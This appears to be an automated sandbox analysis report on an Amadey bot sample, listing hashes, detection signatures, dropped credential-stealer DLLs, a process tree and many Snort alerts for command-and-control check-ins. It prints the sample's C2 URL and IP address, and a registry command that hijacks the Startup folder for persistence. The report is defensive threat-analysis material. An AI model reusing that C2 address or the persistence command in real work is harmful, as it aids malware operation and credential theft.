Play interactive tour

Edit tour

Analysis Report b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

Overview

General Information

Sample Name:	b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe
Analysis ID:	399599
MD5:	31ab82365078548dcea62da7c2380b2e
SHA1:	712fbb4df005439b9810090fd3a2962848e252c4
SHA256:	b5a399c0ea40983abc68b828ccb14efde2db90c047bbfba9ae418317ce7f036d
Tags:	Amadeyexe
Infos:
Most interesting Screenshot:

Detection

Amadey

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Yara detected Amadey bot

Yara detected Amadeys stealer DLL

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Creates an undocumented autostart registry key

Machine Learning detection for dropped file

Machine Learning detection for sample

Posts data to a JPG file (protocol mismatch)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Instant Messenger accounts or passwords

Tries to steal Mail credentials (via file access)

Contains capabilities to detect virtual machines

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Classification

Startup

System is w10x64

b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe (PID: 5824 cmdline: 'C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe' MD5: 31AB82365078548DCEA62DA7C2380B2E)

blfte.exe (PID: 6156 cmdline: 'C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe' MD5: 31AB82365078548DCEA62DA7C2380B2E)

cmd.exe (PID: 6232 cmdline: 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\e90e419c61\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6240 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

reg.exe (PID: 6288 cmdline: REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\e90e419c61\ MD5: CEE2A7E57DF2A159A065A34913A055C2)

rundll32.exe (PID: 6616 cmdline: 'C:\Windows\System32\rundll32.exe' C:\ProgramData\1a9f26b569d5df\cred.dll, Main MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 7120 cmdline: 'C:\Windows\System32\rundll32.exe' C:\ProgramData\1a9f26b569d5df\scr.dll, Main MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cleanup

Malware Configuration

Threatname: Amadey

{"C2": "http://176.111.174.114/Hnq8vS/index.php"}

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
dump.pcap	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\1a9f26b569d5df\cred.dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\cred[1].dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.750421474.00000000006C0000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000003.00000002.756024475.0000000002DD0000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000003.00000002.750389865.0000000000694000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
Process Memory Space: blfte.exe PID: 6156	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for dropped file

Show sources

Source: C:\ProgramData\1a9f26b569d5df\scr.dll	Avira: detection malicious, Label: HEUR/AGEN.1136939
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\cred[1].dll	Avira: detection malicious, Label: HEUR/AGEN.1137247
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\scr[1].dll	Avira: detection malicious, Label: HEUR/AGEN.1136939
Source: C:\ProgramData\1a9f26b569d5df\cred.dll	Avira: detection malicious, Label: HEUR/AGEN.1137247

Found malware configuration

Show sources

Source: blfte.exe.6156.3.memstr

Malware Configuration Extractor: Amadey {"C2": "http://176.111.174.114/Hnq8vS/index.php"}

Multi AV Scanner detection for dropped file

Show sources

Source: C:\ProgramData\1a9f26b569d5df\cred.dll	ReversingLabs: Detection: 82%
Source: C:\ProgramData\1a9f26b569d5df\scr.dll	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\cred[1].dll	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\scr[1].dll	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	ReversingLabs: Detection: 34%

Multi AV Scanner detection for submitted file

Show sources

Source: b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

ReversingLabs: Detection: 34%

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Show sources

Source: b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

Joe Sandbox ML: detected

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Unpacked PE file: 1.2.b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Unpacked PE file: 3.2.blfte.exe.400000.0.unpack

Source: b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe, blfte.exe
Source:	Binary string: UC:\kinukuconuwukuwok24_motowubidanagosumozi_dibiciyixaho-pow.pdbpdb source: b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe
Source:	Binary string: C:\kinukuconuwukuwok24_motowubidanagosumozi_dibiciyixaho-pow.pdb source: b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_00419F82 FindFirstFileExW,	1_2_00419F82
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_0224A1D2 FindFirstFileExW,	1_2_0224A1D2
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_00419F82 FindFirstFileExW,	3_2_00419F82
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_0211A1D2 FindFirstFileExW,	3_2_0211A1D2

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49712 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49713 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49714 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49715 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49716 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49717 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49718 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49719 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49720 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49721 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49722 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49723 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49724 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49725 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49726 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49727 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49728 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49729 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49730 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49731 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49732 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49734 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49735 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49736 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49738 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49739 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49740 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49741 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49742 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49744 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49746 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 100000118 COMMUNITY WEB-CLIENT Internet Explorer URLMON.DLL Content-Type Overflow Attempt 176.111.174.114:80 -> 192.168.2.5:49745
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49747 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49748 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49749 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49751 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49753 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49754 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49755 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49757 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49758 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49759 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49760 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49761 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49762 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49763 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49766 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49767 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49768 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49769 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49770 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49771 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49772 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49773 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49774 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49775 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49776 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49777 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49778 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49779 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49780 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49781 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49782 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49783 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49784 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49785 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49786 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49788 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49789 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49790 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49792 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49793 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49795 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49796 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49797 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49799 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49800 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49802 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49803 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49804 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49805 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49807 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49809 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49810 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49811 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49812 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49814 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49815 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49817 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49818 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49819 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49820 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49822 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49823 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49824 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49825 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49827 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49828 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49830 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49831 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49832 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49833 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49835 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49836 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49837 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49838 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49839 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49841 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49843 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49844 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49845 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49847 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49848 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49849 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49850 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49852 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49853 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49855 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49856 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49857 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49859 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49860 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49861 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49862 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49863 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49865 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49866 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49868 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49869 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49870 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49871 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49873 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49874 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49875 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49876 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49878 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49879 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49881 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49882 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49883 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49885 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49886 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49887 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49888 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49889 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49891 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49893 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49894 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49895 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49896 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49898 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49899 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49900 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49901 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49903 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49904 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49906 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49907 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49908 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49912 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49913 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49914 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49915 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49916 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49918 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49919 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49921 -> 176.111.174.114:80
